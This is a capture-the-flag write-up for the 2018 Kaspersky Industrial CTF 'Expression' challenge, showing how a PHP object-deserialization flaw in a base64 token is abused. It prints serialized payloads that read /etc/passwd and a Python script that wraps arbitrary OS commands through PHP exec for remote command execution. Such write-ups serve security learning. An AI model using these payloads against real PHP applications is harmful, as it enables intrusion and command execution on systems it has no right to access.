Kaspersky Industrial CTF Expression Writeup

In this question, we were given an URL “http://expression.2018.ctf.kaspersky.com/“ and we were asked to be find the flag from that URL.

When I opened that website on Firefox this page welcomed me.

kaspersky-industrial-ctf-expression-writeup

I tried some XSS and some SQL-injection payloads but I thought I was going into the rabbit hole. After some time my teammates suggested that try to divide 1 by 0. Then I did that (:

kaspersky-industrial-ctf-expression-writeup

After that error, I started to playing with the token. It was kind a base64 encoded json data.

O:10:"Expression":3:{s:14:"Expressionop";s:3:"div";s:18:"Expressionparams";a:2:{i:0;d:1;i:1;d:0;}s:9:"stringify";s:5:"1 / 0";}

I realized that this question is about PHP serialization stuff. I did some search on Google and I read an article about that topic[1]. Then I tried to execute a command by just changing some parts of that json data.

Expressionop: This calls a function by the function’s name.

Expressionparams: This is the parameters of the function that we call.

After I understood above, I crafted the json data below to test if that serialization/deserialization thing work. If this works then the server should return the content of the server’s /etc/passwd file. Because I used a PHP function called file_get_contents and passed the filename which is /etc/passwd as an argument.

O:10:"Expression":3:{s:14:"Expressionop";s:17:"file_get_contents";s:18:"Expressionparams";s:11:"/etc/passwd";s:9:"stringify";s:4:"TEST";}

Then encoded that data by using base64 and sent it back to the server by using its Share it link. And our test url was http://expression.2018.ctf.kaspersky.com/?action=load&token=TzoxMDoiRXhwcmVzc2lvbiI6Mzp7czoxNDoiAEV4cHJlc3Npb24Ab3AiO3M6MTc6ImZpbGVfZ2V0X2NvbnRlbnRzIjtzOjE4OiIARXhwcmVzc2lvbgBwYXJhbXMiO3M6MTE6Ii9ldGMvcGFzc3dkIjtzOjk6InN0cmluZ2lmeSI7czo0OiJURVNUIjt9. When I opened it on my Firefox I saw it was working.

kaspersky-industrial-ctf-expression-writeup

To find the flag quickly, I needed to get rid of these four steps: change something in json -> encode it > send it > analyze its results. Therefore, I wrote a small python shell to achieve these steps automatically. This time I used exec function from PHP and its argument was expected to be an OS command. (btw pls don’t judge me for this script)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# License : MIT
# Author : Mustafa ÇALAP
# Date : 23.11.2018
# Last Modified Date: 23.11.2018

from base64 import b64encode, b64decode
import requests
import re

while True:
url = 'http://expression.2018.ctf.kaspersky.com/?action=load&token='

php_func = 'exec'
func_param = input('Command: ')
if func_param == "":
func_param = 'ls -la'
func_param = func_param + ' | base64'
payload = 'O:10:"Expression":3:{s:14:"'.encode() + b'\x00' + 'Expression'.encode() + b'\x00' + 'op";s:'.encode() + str(len(php_func)).encode() + ':"'.encode() + php_func.encode() + '";s:18:"'.encode() + b'\x00' + 'Expression'.encode() + b'\x00' + 'params";s:'.encode() + str(len(func_param)).encode() + ':"'.encode() + func_param.encode() + '";s:9:"stringify";s:4:"TEST";}'.encode()

token = b64encode(payload)

final = url + token.decode()

session = requests.Session()
req = session.get(final)

res = re.findall('<pre>(.*)</pre>',req.text, flags=re.DOTALL)
print('='*20 + 'URL' + '='*20)
print(final)
print('='*20 + 'RESULT' + '='*20)
print(b64decode(res[0][7:]).decode())

I list the root directory of the server and I saw the file fl4g_h4r3 then read it and got the point.

kaspersky-industrial-ctf-expression-writeup

I believe this was the easiest challenge because it was the only challenge that I could manage to solve (:

Reference: